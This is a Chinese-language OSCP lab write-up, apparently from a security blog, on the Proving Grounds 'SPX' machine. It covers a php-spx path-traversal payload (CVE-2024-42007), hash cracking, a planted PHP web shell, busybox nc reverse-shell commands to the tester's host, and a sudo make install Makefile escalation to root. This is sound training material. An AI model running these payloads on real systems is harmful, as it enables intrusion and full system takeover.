OSCP SPX Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

SPX

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

目录枚举 –> phpinfo 页面得到 SPX 版本和 key 信息 –> SPX 任意文件读取 –> Tiny File Manager 应用后台加密密码 –> hashcat 破解 –> Tiny File Manager 应用后台写入一句话木马 –> www-data 用户权限 –> web admin 密码复用 –> profiler 用户权限 –> 用户旗帜

权限提升:

make install sudo 权限 –> 新建反弹 shell Makefile 文件 –> root 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
sudo nmap -p- 192.168.228.108 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
sudo nmap -p22,80 -sCV 192.168.228.108

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_ 256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Tiny File Manager
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

系统为 Linux 环境,开放有 HTTP、SSH 服务。

3.2 渗透测试突破边界

3.2.1 SPX 任意文件读取漏洞(CVE-2024-42007)读取 Tiny File Manager 应用密码(Hashcat 破解)

靶机 HTTP 80 端口部署了 Tiny File Manager 应用,该应用主要用于文件管理。

1
2
# github
https://github.com/prasathmani/tinyfilemanager

使用应用默认口令无法登录后台,说明靶机修改了默认凭证。紧接着进行目录枚举,发现靶机泄露了 phpinfo 信息。

1
dirsearch -u http://192.168.228.108/

访问 phpinfo.php 文件,在列表发现 SPX 版本号和 key 信息。

搜索引擎检索 spx 0.4.15 exploit,发现历史存在任意文件包含漏洞(CVE-2024-42007)。

参考链接:

1
https://www.vicarius.io/vsociety/posts/novel-escape-from-the-spx-jungle-path-traversal-in-php-spx-cve-2024-42007

根据链接中提供的脚本内容,得到该漏洞的 payload:

1
/?SPX_KEY=dev&SPX_UI_URI=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

SPX_KEY: phpinfo 中 SPX 泄露的 key。

SPX_UI_URI: 需要读取的文件路径。

1
http://192.168.228.108/?SPX_KEY=a2a90ca2f9f0ea04d267b16fb8e63800&SPX_UI_URI=/../../../../../../../etc/passwd

使用 burp 发送 payload,成功读取到系统/etc/passwd 文件。

这里第一时间并没有在 phpinfo 中注意到 SPX 应用,而是进行了大量的目录枚举和检索 phpinfo 敏感字符,偶然间注意到靶机名称时,忽然醒悟,加上该应用还泄露 key 字段,然后才针对该应用检索漏洞信息。在 OSCP 考试中,每台靶机是没有名字的,所以,当思路不通或没有思路的时候,一定要回头仔细阅之前收集到的信息,或许在某个角落就隐藏了重要线索。

靶机 80 端口默认页面为 index.php,而 Linux 网站根目录一般是/var/www/html,继续通过 SPX 应用读取 index.php 文件源码。

1
http://192.168.228.108/?SPX_KEY=a2a90ca2f9f0ea04d267b16fb8e63800&SPX_UI_URI=/../../../../../../../var/www/html/index.php

Tiny File Manager 应用会将用户凭证存储在网站源码中,我们利用 SPX 应用成功读取到网站加密凭证,接下来将密文保存至同一文本中,使用 hashcat 进行破解,注意: 破解时间较长,大约持续了 30 分钟。

1
hashcat hash ~/Desktop/rockyou.txt -m 3200

3.2.2 Tiny File Manager 应用后台 Get shell

利用 admin 用户密码登录 Tiny File Manager 应用后台,将 phpinfo.php 修改为一句话木马。

1
2
admin
lowprofile

在 kali 使用 nc 监听 80 端口,然后通过一句话木马执行反弹 shell,获取到系统 www-data 用户权限。

1
2
nc -lvnp 80
http://192.168.228.108/phpinfo.php?cmd=busybox%20nc%20192.168.45.170%2080%20-e%20/bin/bash

升级为交互式 shell。

3.2.3 Web admin 密码复用获取到 profiler 用户权限

使用 Tiny File Manager 应用 admin 密码可切换至 profiler 用户 shell。

1
su profiler # lowprofile

3.2.4 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 Make install sudo 提权至系统 root

profiler 用户可使用任意用户权限执行 /usr/bin/make install -C /home/profiler/php-spx 指令,make install 安装过程会读取 Makefile 文件,我们可修改/home/profiler/php-spx 目录 Makefile 的 install 配置,使其执行反弹 shell 指令。

1
sudo -l

1
2
install:
busybox nc 192.168.45.170 80 -e /bin/bash

在 kali 使用 nc 监听 80 端口,执行 sudo 指令,获取到系统 root 用户 shell。

1
2
nc -lvnp 80
sudo -u root /usr/bin/make install -C /home/profiler/php-spx

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP SPX Write-up
https://www.f0nesec.top/2025/08/29/oscp-spx/
作者
F0ne
发布于
2025年8月29日
许可协议